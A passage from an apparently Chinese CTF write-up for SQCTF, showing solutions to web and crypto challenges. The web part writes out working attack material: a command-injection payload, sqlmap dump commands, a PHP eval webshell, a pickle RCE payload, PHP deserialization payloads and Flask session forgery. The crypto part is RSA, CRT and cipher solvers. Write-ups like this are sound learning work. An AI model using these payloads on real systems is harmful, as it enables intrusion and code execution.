payload1 = php_serialize(hhh_obj)
print("[*] Payload 1:", payload1)

resp1 = requests.post(url, data={"data": payload1})
print("[*] Step 1 Response:")
print(resp1.text)

# Step 2 - 触发 flag 读取
hhh_obj2 = PhpObject("hhh", {
"file": "a.txt",
"content": "GET_FLAG"
})
payload2 = php_serialize(hhh_obj2)
print("\n[*] Payload 2:", payload2)

resp2 = requests.post(url, data={"data": payload2})
print("[*] Step 2 Response:")
print(resp2.text)

Ping

1
http://challenge.qsnctf.com:30873/?ip=| cat ../../../../flag

即可

小小查询系统

1
2
3
4
python sqlmap.py -u http://challenge.qsnctf.com:31825/?id=1
python sqlmap.py -u http://challenge.qsnctf.com:31825/?id=1 --dbs
python sqlmap.py -u http://challenge.qsnctf.com:31825/?id=1 -D ctf --tables
python sqlmap.py -u http://challenge.qsnctf.com:31825/?id=1 -D ctf -T flag -C value --dump

image-20250409130257975

baby rce

image-20250409131142910

Input a number

?sqctf=114514e1

intval($var,$base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里===表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c

image-20250409132126010

RceMe

nl命令

image-20250409133850263

Upload_Level2

上传一句话木马,改后缀

1
<script language="php">eval($_POST[1]);</script>

image-20250409134639491

Ez_calculate

这道题搞了半天,是我环境有问题,卸载lxml就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import re

url = 'http://challenge.qsnctf.com:32629/'
session = requests.Session()

# 获取页面
res = session.get(url)
html = res.text

# 用正则提取 challenge 表达式
match = re.search(r'<div class="challenge">\s*([\d\+\-\*/\s\(\)]+)\s*</div>', html)
if not match:
print("❌ 没找到表达式!")
exit()

expr = match.group(1)
print(f"✅ 提取的表达式: {expr}")

# 计算结果
try:
result = eval(expr)
except Exception as e:
print("❌ 表达式计算出错:", e)
exit()

print(f"✅ 计算结果: {result}")

# 提交表单
post_data = {'value': result}
submit_res = session.post(url, data=post_data)

# 输出结果
print("🎯 提交响应:")
print(submit_res.text)
# 拼接完整的 flag 地址
flag_url = url + 'flag'

# 用同一个 session 访问 /flag
flag_res = session.get(flag_url)

print("🎉 FLAG 内容:")
print(flag_res.text)

白月光

fenjing

image-20250409144603964

Are you from SQNU?

image-20250411212627407

伪装

伪造session

flask-unsign –sign –cookie “{"role": {"is_admin": 1, "name": "sjx"}}” –secret love

提交即可

Look for the homepage

地下找到真正入口,然后如下绕过即可

image-20250411220005731

ggoodd

image-20250411233318991

开发人员的小失误

扫一下即可

image-20250411233550808

pickle

1
2
3
4
5
6
7
8
9
10
import pickle
import base64
import subprocess

class Exploit:
def __reduce__(self):
return (subprocess.getoutput, ("cat /flag",))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

gASVLAAAAAAAAACMCnN1YnByb2Nlc3OUjAlnZXRvdXRwdXSUk5SMCWNhdCAvZmxhZ5SFlFKULg==

图片展示功能

做了半天以为是二次渲染,试了下.usr.ini也不行,最后发现是.htaccess,让它同样包含jpg就行

然后就跟之前一样,蚁剑连接即可

image-20250412102008924

无参之舞

禁用了右键

查看网页源代码 - 锤子在线工具

网站在线看源码,发现用户名为sqctf

弱密码爆破1q2w3e4r

登陆后试了….命令发现没用最后用了

1
2
3
?exp=print_r(scandir('/'));

?exp=print_r(scandir('/var/www/html/'));显示Array ( [0] => . [1] => .. [2] => bg.jpg [3] => f1ag.php [4] => flag.php [5] => flag1.php [6] => flag2.php [7] => flag3.php [8] => index.php )

试了height_file,phpfilter,readfile等

最后用了Hex 编码绕过文件名过滤

1
?exp=readfile(hex2bin(%27663161672e706870%27));

读出来

image-20250412113059441

哎呀大大大黑塔

bv号

1
?SQNU=BV1tXckehEd3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
public function __destruct() {
if ($this->key === "SQCTF") {
include "./flag.php";
echo "flag : ".$flag;
} else {
echo "Try harder!";
}
}
}

if (isset($_POST['data'])) {
$data = $_POST['data'];
$obj = unserialize($data);
} else {
highlight_file(__FILE__);
}
?>
1
data=O%3A6%3A%22Secret%22%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22SQCTF%22%3B%7D

image-20250412155530564

嘿嘿嘿

AI出的,忘记存备份了,好像是这样吧

1
data=O:3:"hhh":2:{s:4:"file";s:4:"test";s:7:"content";s:8:"GET_FLAG";}

Crypto

春风得意马蹄疾

套娃核心价值观编码

image-20250408183110197

base

搞了半天,结果是另一种码表,还被群里的base91给误导了

image-20250408183821108

别阴阳我了行吗?

阴阳怪气解密

image-20250408185716332

小白兔白又白

basecrack

CTF-basecrack-Base编码分析工具安装及使用详解(MAC)-CSDN博客

image-20250408201046191

rabbit加解密,密钥是233,是这几个base之和,题目也提示了是Rabbit

image-20250408201212791

简单RSA

factordb.com分解pq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533
e = 65537
c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

# 通过费马分解得到的 p 和 q
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753

# 计算 phi(n)
phi = (p - 1) * (q - 1)

# 计算私钥 d
d = pow(e, -1, phi)

# 解密密文
m = pow(c, d, n)

# 转换为字节
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()

print("Flag:", flag)

得到flag

ezCRT

GPT秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import long_to_bytes
import gmpy2

# 已知参数
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

e = 3

# 使用中国剩余定理(CRT)
def crt(c, n):
N = 1
for ni in n:
N *= ni
result = 0
for i in range(len(n)):
Ni = N // n[i]
mi = gmpy2.invert(Ni, n[i])
result += c[i] * mi * Ni
return result % N

# 得到 m^e
m_cubed = crt([c1, c2, c3], [n1, n2, n3])

# 求 m = m_cubed 的立方根
m, exact = gmpy2.iroot(m_cubed, e)
if exact:
print("[+] 找到明文:", long_to_bytes(m))
else:
print("[-] 没有找到精确立方根")
print("[*] 尝试输出明文:", long_to_bytes(m))

失落矿洞中的密码

sageMath跑,deepseek秒出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p = 7654319
a = 1234577
b = 3213242

E = EllipticCurve(GF(p), [a, b])
G = E(5234568, 2287747)
public_key = E(2366653, 1424308)

secret = G.discrete_log(public_key)

c1 = E(5081741, 6744615)
c2 = E(610619, 6218)

m = c2 - (secret * c1)
print(m[0] + m[1])

image-20250408195953167

密室逃脱的终极挑战

image-20250409101005871

丢三落四的小I

gpt梭了

image-20250409145647568

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from math import gcd

n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029

e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113

c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

# Step 1: 找到 p
for k in range(1, 100000):
if (e * dp - 1) % k == 0:
p_candidate = (e * dp - 1) // k + 1
if n % p_candidate == 0:
p = p_candidate
q = n // p
break

# Step 2: 计算私钥 d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

# Step 3: 解密密文
m = pow(c, d, n)
plaintext = long_to_bytes(m)
print(plaintext)

b’SQCTF{7b909221-c8ff-f391-0c86-d3a9ca8491d1}’

玩的挺变态啊清茶哥

猪圈密码,解了前几个后面就猜到了

image-20250409150919206

SQCTF{jijibaotonghualizuoyingxiong}

ez_SCA

调教gpt

image-20250409234125000

image-20250409234139644

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import numpy as np

# 加载数据
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')
traces = np.load('energy_traces_with_flag.npy') # shape: (424, 1000)

recovered_bits = []

for idx, segment in enumerate(traces):
mse_0 = np.mean((segment - template_trace_0) ** 2)
mse_1 = np.mean((segment - template_trace_1) ** 2)

bit = '0' if mse_0 < mse_1 else '1'
recovered_bits.append(bit)

bitstring = ''.join(recovered_bits)

# 转换为文本
def bits_to_text(bits):
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
text = ''.join([chr(int(char, 2)) for char in chars if len(char) == 8])
return text

flag = bits_to_text(bitstring)
print("Recovered flag:", flag)

字母的轮舞与维吉尼亚的交响曲

根据开头SQCTF反推密钥原理参考

image-20250410000833747

CTF-Misc Guide - ⚡Lunatic BLOG⚡

image-20250410000803755

Common Modulus

deepseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def extended_gcd(a, b):
if b == 0:
return (a, 1, 0)
else:
g, x, y = extended_gcd(b, a % b)
return (g, y, x - (a // b) * y)

n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527

# 计算扩展欧几里得得到a和b
g, a, b = extended_gcd(e1, e2)
assert g == 1, "e1 and e2 必须互质"

# 计算c1^a mod n和c2^b mod n,处理负指数
def mod_pow(c, exponent, n):
if exponent < 0:
c_inv = pow(c, -1, n)
return pow(c_inv, -exponent, n)
else:
return pow(c, exponent, n)

part1 = mod_pow(c1, a, n)
part2 = mod_pow(c2, b, n)

m = (part1 * part2) % n

# 转换为字节字符串
try:
from libnum import n2s
flag = n2s(m)
except ImportError:
flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')

print("解密后的Flag:", flag.decode())

你的天赋是什么

摩斯密码

失落矿洞中的密码

Bugku-CTF加密篇之 托马斯.杰斐逊 - 0yst3r - 博客园

UNEHJPBIUOMAVZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 秘钥
key = "4,2,11,8,9,12,3,6,10,14,1,5,7,13"
# 密文
cipher_text = "UNEHJPBIUOMAVZ"

f = open("zhuanlun.txt")
str_first_encry = []

for line in f:
line = line.strip()
str_first_encry.append(line)

key_index = key.split(",")
str_second_encry = []
for k in key_index:
str_second_encry.append(str_first_encry[int(k) - 1])
print(str_first_encry[int(k) - 1])

for i, ch in enumerate(cipher_text):
line = str_second_encry[i]
split_index = line.index(ch)
temp = []
temp[0:len(line) - split_index + 1] = line[split_index:len(line)]
temp[len(temp):] = line[0:split_index]
str_second_encry[i] = "".join(temp)
print("-------------------------------------")
for plain in str_second_encry:
print(plain)

data = """
UYTREWQASDFGHJKLMNBVCXZPOI
NBXZPMTQOIRVHKLSAFUDGJYCEW
EDCRFVTGBYHNUJMIKOLPQAZWSX
HNUJMIKOLPQAZWSXEDCRFVTGBY
JMIKOLPQAZWSXEDCTRFVGYBHNU
PAZQWSXEDCRFVTGBYHNUJMIKOL
BYTNUIMOPLKJHGFDSAQZWXECRV
IJUYMNHBGVCFXDRZESWAQPLOKM
UJMIKOLPQAZWSXEDCRFVTGBYHN
OLPQAZWSXEDCRFVTGBYHNUJMIK
MACFNOGIEBHUQWXZRJYVKSLPDT
ASDFGHJKLPOIUYTREWQZXCVBNM
VGBHNMYUJIKMOLPQAWSZEXRDCF
ZWAQPLOKMIJNUHGBTGVFRCDXES
""".strip().splitlines()

# 转置矩阵,提取每一列
columns = [''.join(row[i] for row in data) for i in range(len(data[0]))]

# 输出每一列
for i, col in enumerate(columns):
print(f"第{i+1}列: {col.lower()}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POIUYTREWQASDFGHJKLMNBVCXZ
BXZPMTQOIRVHKLSAFUDGJYCEWN
WSXEDCRFVTGBYHNUJMIKOLPQAZ
EDCRFVTGBYHNUJMIKOLPQAZWSX
RFVGYBHNUJMIKOLPQAZWSXEDCT
AZQWSXEDCRFVTGBYHNUJMIKOLP
LKJHGFDSAQZWXECRVBYTNUIMOP
MNHBGVCFXDRZESWAQPLOKMIJUY
TGBYHNUJMIKOLPQAZWSXEDCRFV
IKOLPQAZWSXEDCRFVTGBYHNUJM
QWXZRJYVKSLPDTMACFNOGIEBHU
ZXCVBNMASDFGHJKLPOIUYTREWQ
YUJIKMOLPQAWSZEXRDCFVGBHNM
VFRCDXESZWAQPLOKMIJNUHGBTG
-------------------------------------
UYTREWQASDFGHJKLMNBVCXZPOI
NBXZPMTQOIRVHKLSAFUDGJYCEW
EDCRFVTGBYHNUJMIKOLPQAZWSX
HNUJMIKOLPQAZWSXEDCRFVTGBY
JMIKOLPQAZWSXEDCTRFVGYBHNU
PAZQWSXEDCRFVTGBYHNUJMIKOL
BYTNUIMOPLKJHGFDSAQZWXECRV
IJUYMNHBGVCFXDRZESWAQPLOKM
UJMIKOLPQAZWSXEDCRFVTGBYHN
OLPQAZWSXEDCRFVTGBYHNUJMIK
MACFNOGIEBHUQWXZRJYVKSLPDT
ASDFGHJKLPOIUYTREWQZXCVBNM
VGBHNMYUJIKMOLPQAWSZEXRDCF
ZWAQPLOKMIJNUHGBTGVFRCDXES

只有maketysecgreat这一列看上去有语义,试了下大小写

SQCTF{maketysecgreat}